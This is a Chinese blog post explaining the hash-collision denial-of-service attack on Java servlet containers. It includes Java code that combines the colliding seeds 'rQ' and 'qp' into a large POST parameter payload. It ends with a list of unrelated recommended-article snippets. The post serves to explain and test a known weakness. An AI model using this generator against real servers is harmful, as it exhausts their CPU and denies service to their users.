其原理很简单:利用hashcode的实现机制,构造大量会产生相同hashcode的key,导致hashmap的定位时间由O(1)降为0(n)(也就是使hash表退化成链表)。由于servlet规范里的处理post请求一般都采用hashmap存储request 的key和value对,当处理成千上万的会产生相同hashcode的请求参数名时,就造成hashmap的定位性能急剧下降,导致cpu繁忙,达到拒绝服务攻击的目的。
而由于java采用DJBX33A算法产生hash值,因此很容易构造大量具有相同hashcode的值。这里探讨一下如何构造这个值。常见的有“相等字串法”和“中间相遇法”,以下援引一段别人的文字来说明这个“相等字串法”:
由于DJBX33A系列哈希算法满足一个很有意思的特性:如果hash(“string1”) = hash(“string2”),那么在相同位置包含此2个子串的父串哈希结果将会产生碰撞,既:hash(“prefix_string1_postfix”) = hash(“prefix_string2_postfix”)。根据这一特性,攻击者如果能找到最简单的两个碰撞字符串,那么就可以很快通过反复组合,生成2的n次方个长度为2n的碰撞字符串。
这个看起来实现不难哈,只要找一对可以有相同hashcode的字串,通过一定的排列组合算法就行了。假定我们要求的key的长度为10,那么就可以生产2的10次方,也就是1024个key符合我们的要求(具有相同的hashcode,但有不同的值)。这个算法怎么写呢,其实也就是算出两个字符能组合成多少个不同的N位长度的字符。比如有两个字母a 和 b,要组合成2位数,那么共有以下几种排列:ab、aa、bb、ba。是不是有点像“找出n元素的全部子集"的算法。写这个算法有些麻烦,我想了一阵,来个取巧的吧:
我们把数字转化成2进制,这样二进制的0,1就代表我们的两个字母,我们只要用我们字母替换0,1就可以了。比如要组合成4位数,那么就有16种组合,就是将从0到15之间15之间的全部数字都换成二进制,也就是0000-1111之间的所有二进制。我们把这些二进制数字里的0和1分别用a和b替换,就是我们要的结果哈。
根据以上方法,用java很容易就可以写个生成碰撞字串的方法,而且速度也很快,生成15次方的字串的用的时间也是秒这一数量级,可以满足测试的要求:(偶找了rQ和qp这两个可以产生相同hashcode的字串作为种子)
public static final String S0 = "rQ";
public static final String S1 = "qp";
private static String mkHashParams(int size, String mockVal) {
Long maxVal = (long) Math.pow(2, size);
System.out.println("size=" + maxVal + ",int val=" + maxVal.intValue());
StringBuilder sb = new StringBuilder();
String it = null;
String bInt = null;
String changedBInt = null;
for (int i = 0; i < maxVal; i++) {
it = null;
bInt = Long.toBinaryString(i);
changedBInt = bInt.replace("0", S0);
changedBInt = changedBInt.replace("1", S1);
it = changedBInt;
int tmpLength = bInt.length();
if (tmpLength < size) {
long appendLength = size - tmpLength;
it = mkAppendedStr(appendLength, it);
}
if (i > 0) {
sb.append("&");
}
sb.append(it);
sb.append("=");
sb.append(mockVal);
// System.out.println("it="+it+",hash ="+it.hashCode());
}
String str = sb.toString();
write(str, "c:/d", "hash_params.txt");
return str;
}
分享到:
相关推荐
hashcat密钥碰撞,无需安装,CMD下执行即可。CMD下执行即可。
MurmurHash算法由Austin Appleby创建于2008年,现已应用到Hadoop、libstdc 、nginx、libmemcached,Redis,Memcached,Cassandra,HBase,Lucene等开源系统。2011年Appleby被Google雇佣,随后Google推出其变种的...
标题中的“Hash Collision DoS漏洞:web实例”指的是在Web应用程序中出现的一种安全问题,即哈希碰撞拒绝服务攻击(Hash Collision Denial of Service)。这种攻击利用了哈希表(Hash Table)数据结构的特性,当两个...
"分布式拒绝服务攻击防御技术综述" 分布式拒绝服务攻击防御技术是当前网络安全领域的热点话题。随着网络攻击的日益增长,分布式拒绝服务攻击(DDoS)已经对网络安全造成了极大的威胁。因此,分布式拒绝服务攻击防御...
但是,哈希碰撞的存在意味着恶意攻击者可能通过碰撞攻击找到一个不同但能产生相同哈希值的密码,因此需要选择安全性高的哈希函数,如SHA-256或bcrypt。 "Hash.exe"工具可能提供了以下功能: 1. 计算文件或文本的...
### 哈希碰撞与生日攻击 #### 一、哈希碰撞是什么? 哈希(Hash)是一种算法,用于将任意长度的数据映射为固定长度的值。这些值通常称为哈希值或摘要。哈希算法的一个重要特性是,对于任何给定的输入,其输出始终...
这种情况下,攻击者可能仍然能够利用这些“近似”碰撞来达到某种攻击目的,尽管它们不如完全碰撞那样强大。 #### 六、设计高安全度HASH函数的考虑因素 为了设计出更加安全的HASH函数,研究人员需要考虑以下几个...
- **SHA-1 (Secure Hash Algorithm 1)**:产生160位的哈希值,比MD5更安全,但同样面临碰撞攻击的威胁。 - **SHA-256 (Secure Hash Algorithm 256)**:SHA-2家族的一员,产生256位的哈希值,安全性更高,广泛用于...
**三维Hashin失效准则详解** 在复合材料领域,失效分析是至关重要的,它关系到材料的性能预测和结构安全。Hashin失效准则是一种广泛应用的多向复合材料失效理论,由Shlomo Hashin于1962年提出,主要用于评估多向受...
UTHASH 是一个开源的 C 语言库,提供了一种简单且高效的哈希表实现,用于在 C 代码中快速查找和管理数据结构。这个库的主要功能是提供一个宏定义的集合,可以方便地将结构体转化为哈希表,进而进行添加、删除、查找...
标题中的"HASHIN.rar_ABAQUS_Hashin失效准则 abaqus_abaqus hashin_abaqus 三维Hashi"表明这是一个关于ABAQUS软件中应用Hashin失效准则进行三维分析的示例或教程。ABAQUS是一款广泛应用的有限元分析软件,尤其在结构...
这种攻击被称为重构攻击,特别是针对k近邻查询,攻击者可能通过分析大量查询响应中的明文信息,重构出加密的Geohash值,进一步反推出原始的经纬度坐标。 本文指出,Geohash编码的推理通道源于其明文信息与实际地理...
3. 防止中间人攻击:在进行文件传输时,如果网络被中间人攻击,攻击者可能篡改文件并同时更改提供的Hash值,所以应直接从可信源获取Hash值。 总的来说,Hash值校验工具是确保数据完整性和安全性的利器,通过其便捷...
在复合材料领域,Hashin失效准则是一个非常重要的理论模型,尤其在分析三维层合板的强度和稳定性时。Hashin准则由Stanley Hashin在20世纪60年代提出,用于预测多向复合材料的破坏行为。这个准则考虑了内部微裂纹的...
标题 "UMAT_Hashin3D_hashin" 指涉的是一个专门针对复合材料损伤分析的三维子程序,该程序基于Hashin破坏准则。在有限元分析(FEA)中,用户自定义材料(User-Defined Material,UMAT)是实现特定材料行为建模的一种...
例如,当你从互联网上下载一个大文件时,服务提供者通常会提供文件的哈希值,你可以使用Hash 1.04 对下载后的文件进行哈希计算,然后与提供的哈希值进行对比。如果两者匹配,说明文件在传输过程中没有被篡改或损坏,...
### 碰撞检测与处理的关键知识点 #### 一、3D游戏开发中的碰撞检测基础 **背景介绍:** 在3D游戏开发中,碰撞检测是实现真实感交互的重要环节之一。通过有效的碰撞检测机制,可以确保游戏中的物体能够按照物理规律...
4. **碰撞生成算法**:更高级的方法是使用碰撞生成算法,如Mihir Bellare和Renee Brickell提出的生日攻击或Adi Shamir的“短碰撞”技术。 5. **利用碰撞**:找到碰撞后,参赛者需要确定如何利用这个碰撞来破解密码...